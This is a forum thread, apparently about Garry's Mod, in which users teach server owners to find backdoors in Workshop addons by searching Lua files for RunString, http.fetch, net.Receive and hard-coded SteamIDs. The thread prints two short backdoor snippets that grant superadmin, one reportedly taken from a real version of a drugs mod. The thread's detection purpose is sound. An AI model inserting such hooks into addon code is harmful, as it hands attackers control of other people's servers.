Is there still a backdoor in gmod drugs mod from workshop ?

use gmad extractor and look thru the add on files before you upload it.

I wouldn't know what to look for

ByDankat 18th of March 2018 15:24:46

I wouldn't know what to look for

this is what you're looking for

So a quick guide on how to find basic backdoors:

1. Extract the .gma file [If you dont know how this works then you should stop calling your self "server owner"]
2. Open all of the addons lua files in a text editor like sublime or notepad++
3. Now you need to open the search function of your text editor (mostly ctrl or shift + f)

So now you need to know what to search for, here are the most suspicious things

function RunString(code)

RunString runs the string provided as an argument as a lua code (obvious), they are mostly used within http.fetch() to run a code from a website. This technique is mostly used for DRMs but if a Workshop addon contains anything like that you should consider asking a 'professional' to have a look at it. Why should a Workshop addon ever need to run code a 'hidden' code on your server if it can also do it via the normal lua way.

net.receive()

net.receive() alone is not dangerous and is used by most addons, its just a way to transfer messages/information of any sort between server and client. What you want to look for is the ones being used in backdoors, they could look somewhat like this:

This code would set the one with the fitting steamID superadmin if he would send a net message called "backdoor".

And in general:

1. presence of steamIDs: Extremely suspicious, also look for SteamID64s
2. Minified code: If the code looks odd, not clearly structured, or a lot of things are pushed in one line the creator of the code is most likely trying to hide something.

These are things you should look out for

ByMomox | MomoxStudios.Netat 18th of March 2018 16:34:46

So a quick guide on how to find basic backdoors:Extract the .gma file [If you dont know how this works then you should stop calling your self "server owner"]Open all of the addons lua files in a text editor like sublime or notepad++Now you need to open the search function of your text editor (mostly ctrl or shift + f)So now you need to know what to search for, here are the most suspicious thingsfunction RunString(code)RunString runs the string provided as an argument as a lua code (obvious), they are mostly used withinhttp.fetch()to run a code from a website. This technique is mostly used for DRMs but if a Workshop addon contains anything like that you should consider asking a 'professional' to have a look at it. Why should a Workshop addon ever need to run code a 'hidden' code on your server if it can also do it via the normal lua way.net.receive()net.receive() alone is not dangerous and is used by most addons, its just a way to transfer messages/information of any sort between server and client. What you want to look for is the ones being used in backdoors, they could look somewhat like this:net.Receive( "backdoor", function( len, pl ) if ( pl:SteamID() == "STEAM_Whatever" ) then pl:SetUserGroup( "superadmin" ) end end )This code would set the one with the fitting steamID superadmin if he would send a net message called "backdoor".And in general:presence of steamIDs: Extremely suspicious, also look for SteamID64sMinified code: If the code looks odd, not clearly structured, or a lot of things are pushed in one line the creator of the code is most likely trying to hide something.These are things you should look out for

Thank you! Now i know what to look for thanks for the help :D <3

Edited

ByLapinat 18th of March 2018 16:21:44

this is what you're looking for

oh im sorry put this in wrong discussion how do i move it to the right forum ?

The one you linked doesn't have a backdoor.

this backdoor was in one version of drugsmod, it allowed players to give themselves superadmin when they typed debugcmd in their console if SERVER then concommand.Add("debugcmd",function(debugplayer) RunConsoleCommand("ulx","adduser",debugplayer:Name(),"superadmin") end) end so RunConsoleCommand("string","string","string","string","string") and game.ConCommand("string\n") are functions to beware of.